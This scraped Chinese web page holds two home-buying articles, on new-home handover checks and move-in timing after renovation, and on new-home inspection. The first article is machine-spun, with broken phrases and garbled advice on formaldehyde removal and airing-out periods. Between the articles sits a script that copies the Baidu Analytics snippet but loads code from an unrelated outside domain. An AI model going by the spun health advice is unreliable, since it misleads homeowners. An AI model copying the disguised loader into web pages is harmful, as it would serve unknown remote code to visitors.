新房交房时要注意什么及装修后多久能住人

每个人一生中总要经历一次买房，我们除了在买房前做准备外，在交房时也要留意一些细节。我们都明白，在新房子装修后，不可能立即就住人。那么，新房交房时要注意什么？新房装修后多久能住人？一、新房交房时要注意什么？1、新房交房时要注意什么——检验文件。当新房交付时，房主一定要检查住宅品质担保书，住宅运用注明书，验收表，房地产开发和建设项目等房屋文件，有些原件房主是可以拿走的，像住宅品质担保书。2、新房交房时要注意什么——核对房屋面积。新房交付时，我们必须核实房屋销售合同中的面积是否与实际房屋一致。要保证您的结构和面积与设计方案和合同一致。3、新房交房时要注意什么——接受房子。当新房子交付时，我们不能忘记检查房子。我们必须检查房屋的电压和水压，是否齐全，加热是否能正常工作等。当然，我们还必须检查房子墙壁上是否有起鼓，是不是扁平的，有没有紧凑且没有有泄漏。还有就是窗户，门窗等有没有裂缝等。​二、新房装修后多久能住人？1、新房改造后，我们应该让房子干燥一小段时间才能入住。倘若房主急于入住，房子必须有至少3个月，并且使用一些电子设备，如气体净化器，以降低有害物质的危害。当然，我们也可以用甲醛醋熏蒸去除有害物。2、新房流通半年以上是房主入住的最佳时间，通常在房子经历两季的时候，一些有害气体也会溶解，倘若家中有孩子或者孕妇，最好将房屋通风一年以上，再住人。为了尽早入住，我们可以在装修好的房子里放置气体净化器，还有吊兰植物和其他的绿色植物，以便更加安全。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房子验收的时候需要注意些什么

现在很多年轻人都通过自己的奋斗买上了房子，不过新房子验收是有很多注意事项的，这篇文章就具体说一说，新房子验收都有哪些地方是需要大家注意的。1、仔细测量一下房子的面积新房子验收时，要检查好房子的面积，业主在验房时，要随身携带一把卷尺，自己先把房子的面积量一遍，看一看与合同上标注的住房面积的是否有差别，如果两者的面积不一样就不能收房，要和开发商协调解决。2、检查门窗的密封性新房子验收时，要认真检查一下新房的门窗，首先看看房子的窗户有没有缝隙，如果窗户在关闭的状态下还有缝隙，就说明窗户密封性不好，在装修的时候要重新定做，避免雨季出现漏雨的现象，然后再检查一下新房的门是否有划痕和破损的地方。3、查看墙面是否有裂痕新房子验收时，要对房子的墙壁进行检查，业主可以带一个小锤子，轻轻的对墙面进行敲击，如果听到空洞的响声，就说明这块墙面是空心的，业主可以通知开发商进行修补，否则以后装修时空心墙是贴不牢瓷砖的。4、检查下水道是否通畅新房子验收时，不要忘记检查新房的下水道，有很多新房的下水道在施工时，会掉入装修材料或是其他异物，如果在验房时没有对下水道进行检查，在装修时才发现下水道不通畅，会拖慢装修进度，业主可以验房时准备一个闲置的水桶，流满水后倒入新房的下水道里，没有水溢出就说明下水道没有堵塞。新房子验收看起简单，其实要操心的事非常多，一旦收了房再发现问题，就得住户自己承担解决了，大家在验房的时候，一定要着重注意文中提到的这几个方面。